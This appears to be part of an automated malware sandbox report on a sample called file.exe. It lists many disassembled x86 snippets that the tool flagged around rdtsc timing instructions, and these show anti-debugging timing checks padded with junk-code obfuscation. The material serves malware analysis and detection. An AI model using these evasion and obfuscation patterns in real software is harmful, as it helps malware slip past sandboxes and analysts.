Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6BEF5 second address: D6BEFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D6BEFF second address: D6BF0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690C1AF9Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D656AD second address: D656B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D799A3 second address: D799B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F1690C1AF9Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D937BA second address: D937C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D937C5 second address: D937CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D92667 second address: D9268B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F1690B6C7F6h 0x0000000a je 00007F1690B6C80Ah 0x00000010 jmp 00007F1690B6C804h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D92EAA second address: D92EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690C1AFA5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D9314D second address: D93178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690B6C805h 0x00000009 popad 0x0000000a pop eax 0x0000000b jc 00007F1690B6C818h 0x00000011 push eax 0x00000012 push edx 0x00000013 je 00007F1690B6C7F6h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D93178 second address: D93184 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D93184 second address: D9318A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D96346 second address: D9635E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1690C1AF96h 0x0000000a popad 0x0000000b pop eax 0x0000000c pushad 0x0000000d push esi 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 pop esi 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA52A6 second address: CA52AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D10396 second address: 4D103D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F1690C1AFA9h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov dx, 6DCEh 0x00000017 mov ebx, 4AF398DAh 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D503FF second address: 4D50403 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D50403 second address: 4D50409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D50409 second address: 4D5040F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D5040F second address: 4D50413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D50413 second address: 4D5044F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov di, ax 0x00000010 pushfd 0x00000011 jmp 00007F1690B6C7FAh 0x00000016 or ecx, 3E8CA6C8h 0x0000001c jmp 00007F1690B6C7FBh 0x00000021 popfd 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D5044F second address: 4D50453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D50453 second address: 4D50459 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D50459 second address: 4D5049C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1690C1AFA3h 0x00000009 sub ecx, 4A082DBEh 0x0000000f jmp 00007F1690C1AFA9h 0x00000014 popfd 0x00000015 movzx esi, di 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D5049C second address: 4D504A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D504A2 second address: 4D504A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D504A7 second address: 4D504B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1690B6C7FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D504B7 second address: 4D504ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b call 00007F1690C1AF9Dh 0x00000010 mov esi, 12303DD7h 0x00000015 pop esi 0x00000016 mov edx, 35C4CB30h 0x0000001b popad 0x0000001c push ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 call 00007F1690C1AF9Ch 0x00000025 pop esi 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D504ED second address: 4D5051D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C800h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ecx 0x0000000c jmp 00007F1690B6C800h 0x00000011 xchg eax, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov cx, bx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D5051D second address: 4D50522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D505C7 second address: 4D50615 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F1690B6C803h 0x0000000d adc cl, 0000007Eh 0x00000010 jmp 00007F1690B6C809h 0x00000015 popfd 0x00000016 popad 0x00000017 je 00007F1690B6C84Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F1690B6C7FDh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D50635 second address: 4D50639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D50639 second address: 4D5063D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D5063D second address: 4D50643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D40014 second address: 4D4001A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D4001A second address: 4D400FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1690C1AFA4h 0x00000009 sbb ecx, 0244ACB8h 0x0000000f jmp 00007F1690C1AF9Bh 0x00000014 popfd 0x00000015 jmp 00007F1690C1AFA8h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov dword ptr [esp], ebp 0x00000020 jmp 00007F1690C1AFA0h 0x00000025 mov ebp, esp 0x00000027 pushad 0x00000028 mov cx, 961Dh 0x0000002c mov ch, 77h 0x0000002e popad 0x0000002f push FFFFFFFEh 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F1690C1AF9Bh 0x00000038 sub eax, 0EADA08Eh 0x0000003e jmp 00007F1690C1AFA9h 0x00000043 popfd 0x00000044 pushfd 0x00000045 jmp 00007F1690C1AFA0h 0x0000004a sbb al, 00000008h 0x0000004d jmp 00007F1690C1AF9Bh 0x00000052 popfd 0x00000053 popad 0x00000054 push 1BC1FA91h 0x00000059 jmp 00007F1690C1AF9Fh 0x0000005e xor dword ptr [esp], 6E0764D9h 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007F1690C1AFA5h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D400FE second address: 4D40104 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D40104 second address: 4D40108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D40108 second address: 4D40130 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C803h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b call 00007F1690B6C7F9h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D40130 second address: 4D40134 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D40134 second address: 4D4013A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D4025E second address: 4D40263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D40263 second address: 4D4026A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D4026A second address: 4D4028B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop eax 0x00000008 jmp 00007F1690C1AF9Dh 0x0000000d mov eax, dword ptr fs:[00000000h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D4028B second address: 4D4028F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D4028F second address: 4D402A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D402A2 second address: 4D402CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C809h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov esi, edx 0x0000000f mov dx, 4F2Ah 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D402CA second address: 4D402FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F1690C1AFA8h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D402FB second address: 4D4033D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F1690B6C806h 0x0000000f sub esp, 18h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1690B6C807h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D4033D second address: 4D4038F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov bx, cx 0x0000000e mov bh, al 0x00000010 popad 0x00000011 push eax 0x00000012 jmp 00007F1690C1AFA2h 0x00000017 xchg eax, ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F1690C1AFA7h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D4038F second address: 4D403E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 436Ah 0x00000007 mov eax, edi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d jmp 00007F1690B6C7FAh 0x00000012 mov dword ptr [esp], esi 0x00000015 jmp 00007F1690B6C800h 0x0000001a xchg eax, edi 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F1690B6C7FDh 0x00000024 xor eax, 29CCF846h 0x0000002a jmp 00007F1690B6C801h 0x0000002f popfd 0x00000030 mov eax, 1494B2F7h 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D403E9 second address: 4D40434 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ah, dh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F1690C1AF9Bh 0x00000010 xchg eax, edi 0x00000011 jmp 00007F1690C1AFA6h 0x00000016 mov eax, dword ptr [75C74538h] 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F1690C1AFA7h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D40434 second address: 4D40495 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C809h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [ebp-08h], eax 0x0000000c jmp 00007F1690B6C7FEh 0x00000011 xor eax, ebp 0x00000013 jmp 00007F1690B6C801h 0x00000018 nop 0x00000019 jmp 00007F1690B6C7FEh 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F1690B6C7FEh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D40495 second address: 4D4049B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D4049B second address: 4D4049F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D4049F second address: 4D404DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007F1690C1AF9Eh 0x00000011 lea eax, dword ptr [ebp-10h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F1690C1AFA7h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D404DD second address: 4D404E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D404E3 second address: 4D404E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D404E7 second address: 4D40523 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], eax 0x0000000e pushad 0x0000000f mov bx, B070h 0x00000013 mov dx, 639Ch 0x00000017 popad 0x00000018 mov dword ptr [ebp-18h], esp 0x0000001b jmp 00007F1690B6C7FBh 0x00000020 mov eax, dword ptr fs:[00000018h] 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 jmp 00007F1690B6C7FBh 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D40523 second address: 4D40528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D40528 second address: 4D4057D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [eax+00000FDCh] 0x0000000f jmp 00007F1690B6C806h 0x00000014 test ecx, ecx 0x00000016 jmp 00007F1690B6C800h 0x0000001b jns 00007F1690B6C80Bh 0x00000021 pushad 0x00000022 movzx esi, bx 0x00000025 popad 0x00000026 add eax, ecx 0x00000028 pushad 0x00000029 mov eax, edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push ebx 0x0000002e pop ecx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D3001B second address: 4D300A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1690C1AF9Fh 0x00000009 sub ecx, 5F7224EEh 0x0000000f jmp 00007F1690C1AFA9h 0x00000014 popfd 0x00000015 mov dl, ah 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push ecx 0x0000001b pushad 0x0000001c movzx ecx, di 0x0000001f push ebx 0x00000020 movzx ecx, di 0x00000023 pop edx 0x00000024 popad 0x00000025 mov dword ptr [esp], ebp 0x00000028 jmp 00007F1690C1AFA6h 0x0000002d mov ebp, esp 0x0000002f jmp 00007F1690C1AFA0h 0x00000034 sub esp, 2Ch 0x00000037 jmp 00007F1690C1AFA0h 0x0000003c xchg eax, ebx 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 mov eax, 4D5240C3h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D300A5 second address: 4D300C9 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 158E261Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F1690B6C804h 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D300C9 second address: 4D300D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, 54F12359h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D300D3 second address: 4D30106 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F1690B6C806h 0x0000000f xchg eax, edi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 mov ecx, 4C93F873h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D30106 second address: 4D301A8 instructions: 0x00000000 rdtsc 0x00000002 mov dx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F1690C1AFA4h 0x0000000d or cl, 00000078h 0x00000010 jmp 00007F1690C1AF9Bh 0x00000015 popfd 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F1690C1AF9Fh 0x0000001f xor esi, 45CC1B3Eh 0x00000025 jmp 00007F1690C1AFA9h 0x0000002a popfd 0x0000002b mov esi, 1CB72E87h 0x00000030 popad 0x00000031 xchg eax, edi 0x00000032 pushad 0x00000033 jmp 00007F1690C1AFA8h 0x00000038 push eax 0x00000039 push edx 0x0000003a pushfd 0x0000003b jmp 00007F1690C1AFA0h 0x00000040 sbb si, F298h 0x00000045 jmp 00007F1690C1AF9Bh 0x0000004a popfd 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D3020D second address: 4D30228 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C807h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D30228 second address: 4D3028A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F1690C1AF9Ch 0x00000012 sbb ah, 00000078h 0x00000015 jmp 00007F1690C1AF9Bh 0x0000001a popfd 0x0000001b mov eax, 178609AFh 0x00000020 popad 0x00000021 je 00007F1690C1B10Eh 0x00000027 jmp 00007F1690C1AFA2h 0x0000002c lea ecx, dword ptr [ebp-14h] 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D3028A second address: 4D3028E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D303F6 second address: 4D303FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D303FC second address: 4D30420 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-2Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1690B6C807h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D30420 second address: 4D30446 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, bl 0x00000005 push ecx 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, esi 0x0000000b jmp 00007F1690C1AF9Ah 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1690C1AF9Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D30446 second address: 4D30458 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1690B6C7FEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D30458 second address: 4D304B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007F1690C1AFA7h 0x0000000e nop 0x0000000f jmp 00007F1690C1AFA6h 0x00000014 push eax 0x00000015 jmp 00007F1690C1AF9Bh 0x0000001a nop 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F1690C1AFA5h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D304B3 second address: 4D304B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D304B9 second address: 4D304BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D304BD second address: 4D304C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D207B0 second address: 4D207C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1690C1AFA0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D207C4 second address: 4D20809 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov edx, ecx 0x0000000f push esi 0x00000010 call 00007F1690B6C807h 0x00000015 pop ecx 0x00000016 pop edi 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F1690B6C802h 0x00000020 rdtsc
